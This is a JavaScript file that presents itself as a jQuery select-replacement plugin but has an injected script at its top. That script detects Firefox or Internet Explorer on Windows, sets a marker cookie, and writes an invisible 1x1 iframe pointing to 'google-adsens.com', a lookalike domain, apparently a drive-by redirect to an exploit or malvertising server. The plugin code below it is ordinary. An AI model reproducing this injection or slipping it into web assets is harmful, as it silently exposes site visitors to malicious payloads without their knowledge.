var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
/*!
 * Select Replacement jQuery Plugin v1.0.1
 * http://mbe.ro/
 *
 * Licensed under FreeBSD License
 * Redistributions of files must retain the above copyright notice and this extensions of CakePHP cannot be used without written
 * authorization from the author. By using it you agree to the terms.
 *
 * @copyright     Copyright 2011, mbe (http://mbe.ro)
 * @link          http://mbe.ro mbeCake Project
 * @version       1.0.1
 * @author        mbe (http://mbe.ro)
 * @license       FreeBSD License (http://www.freebsd.org/copyright/freebsd-license.html)
 */
(function($){
	$.fn.replaceSelects = function(options) {
		//alert('entro');
		var defaults = {
			cssClass: 'optionbox',
			zIndex: 2,
			hideOnBodyClick: true,
			replaceForIphone: false,
			onElementSelect: function (element) {
				return true;
			},
			hideListEffect: function (element) {
				$(element).slideUp('fast');
			},
			toggleListEffect: function (element) {
				$(element).slideToggle('fast');
				return true;
			}
		};
		var options = jQuery.extend(defaults, options);
		var is_select_opened = null;
		
		return this.each(function() {
			if (!options.replaceForIphone && (navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i)) )  {
				return false;
			}
			var opts = new Array;
			var selected = new Object();
			var width = $(this).width();
			if (parseInt($(this).css('width'))>0) {
				width = parseInt($(this).css('width'));
			}
			var hasFloat = $(this).css('float');
			width += 40;
			$(this).children().each(function() {
				var o = new Object();
				o.value = $(this).attr('value');
				if ($(this).attr('html')) {
					o.html = $(this).attr('html');
				} else {
					o.html = $(this).html();
				}
				o.label = $(this).html();
				o.selected = $(this).attr('selected');
				o.disabled = $(this).attr('disabled');
				if (o.selected) {
					selected = o;
				}
				opts.push(o);
			});
			$(this).hide(); //hide me
			html = ''; _title = '';
			
			for (x in opts) {
				html += '<a href="#'+escape(opts[x].html)+'" class="option'+(opts[x].selected?'-selected':'')+(opts[x].disabled?'-disabled':'')+'" rel="'+opts[x].value+'" title="'+escape(opts[x].label)+'">'+opts[x].html+'</a>';
			}
			if (!$(this).parent().hasClass('select-container')) {
				$(this).wrap('<div class="select-replacement '+options.cssClass+'" ><div class="select-container" style="display:none"></div><div class="selected" ><div class="selected-inner"><div class="selected-inner2">'+selected.label+'</div></div></div><div class="options" style="display:none;"><div class="top-shadow"></div>'+html+'</div></div>');
			}
			$('.select-replacement .selected').unbind('click');
			$('.select-replacement .selected').click(function() {
				if (options.toggleListEffect($(this).parent().children('.options')[0])) {
					options.zIndex++;
					$(this).parent().css('z-index',options.zIndex);
					$(this).parent().children('.options').css('z-index',options.zIndex);
					if ($.fn.replaceSelects.is_select_opened && $.fn.replaceSelects.is_select_opened.parent().children('.selected')[0]!=this) {
						options.hideListEffect($.fn.replaceSelects.is_select_opened[0]);
					}
					$.fn.replaceSelects.is_select_opened = $(this).parent().children('.options');
				}
			});
			$('.select-replacement .options .option, .select-replacement .options .option-selected, .select-replacement .options .option-disabled, .select-replacement .options .option-selected-disabled').unbind('click');
			$('.select-replacement .options .option, .select-replacement .options .option-selected, .select-replacement .options .option-disabled, .select-replacement .options .option-selected-disabled').click(function() {
				if (options.onElementSelect(this)) {
					if (!$(this).is('.option-disabled') && !$(this).is('.option-selected-disabled')) {
						var optionbox = $(this).parent().parent();
						var select = optionbox.find('.select-container select');
						optionbox.find('.selected .selected-inner2').html(unescape($(this).attr('title')));
						select.val($(this).attr('rel'));
						var f = select.attr('onchange');
						if (f) {
							f.call(select.val());
						}
						$(this).parent().children('.option, .option-selected').each(function() {
							$(this).removeClass('option-selected');
							$(this).addClass('option');
						});
						options.hideListEffect($(this).parent()[0]);
						
						$(this).addClass('option-selected');
						$(this).removeClass('option');
					}
				}
				return false;
			});
			if (options.hideOnBodyClick) {
				$(document).ready(function() {
					$('html').click(function (event) {
						if (!$(event.target).is('.select-replacement,.select-replacement *,.select-replacement .selected *')) {
							options.hideListEffect('.select-replacement .options');
						}
					});
				});
			}
		});
	};
})(jQuery);

